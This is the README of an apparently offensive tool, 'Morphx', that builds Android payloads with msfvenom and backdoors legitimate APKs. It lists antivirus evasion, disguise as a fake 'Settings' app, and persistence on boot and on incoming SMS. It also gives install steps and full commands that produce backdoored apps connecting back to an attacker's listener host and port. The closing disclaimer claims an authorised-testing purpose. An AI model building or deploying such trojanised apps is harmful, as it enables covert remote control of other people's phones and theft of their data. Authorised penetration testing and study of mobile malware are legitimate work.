Morphx is a command‑line tool for creating Android payloads and backdooring existing APKs.
It wraps msfvenom and apktool to generate stand‑alone payloads (with AV evasion) or inject a payload into a legitimate app.
- Backdoor an existing APK (multi‑dex support,
--use-aapt2for stubborn apps) - Stealth persistence – stand‑alone payload with renamed classes, custom icon and app name, starts the service on boot and on any incoming SMS
- Fully self‑contained – just drop your
apktool.jar,aapt,aapt2into theinput/folder
- Python 3.6+
msfvenom(Metasploit Framework)java,keytool,zipalignapksigner(optional but recommended for Android 11+)Pillow(for icon processing) →pip install Pillow- apktool – either installed system‑wide, or place
apktool.jarininput/
git clone https://github.com/hxrofo/morphx.git
cd morphx
python3 -m venv venv && source venv/bin/activate
pip install Pillow
chmod +x morphx.py
sudo python3 morphx.py [options]
sudo python3 morphx.py backdoor \
--lhost 192.168.1.10 \
--lport 4444 \
--original original.apk \
--out evilIf you encounter aapt errors, add --use-aapt2
sudo python3 morphx.py stealth \
--lhost 192.168.1.10 \
--lport 4444 \
--name "Settings" \
--icon gear.png \
--out stealth
If you encounter aapt errors, add --use-aapt2
Tap the app once – it opens and immediately closes (starting the background service).
After that, the payload will reconnect on every reboot and on any incoming SMS.
- Create an
inputfolder next tomorphx.py. - Place
apktool.jarand your .png icons (optionallyaapt,aapt2,apktoolwrapper) inside. - The script will automatically use them instead of the system versions.
This tool is intended for educational and authorised security testing only.
The authors are not responsible for any misuse. Always obtain proper consent before testing.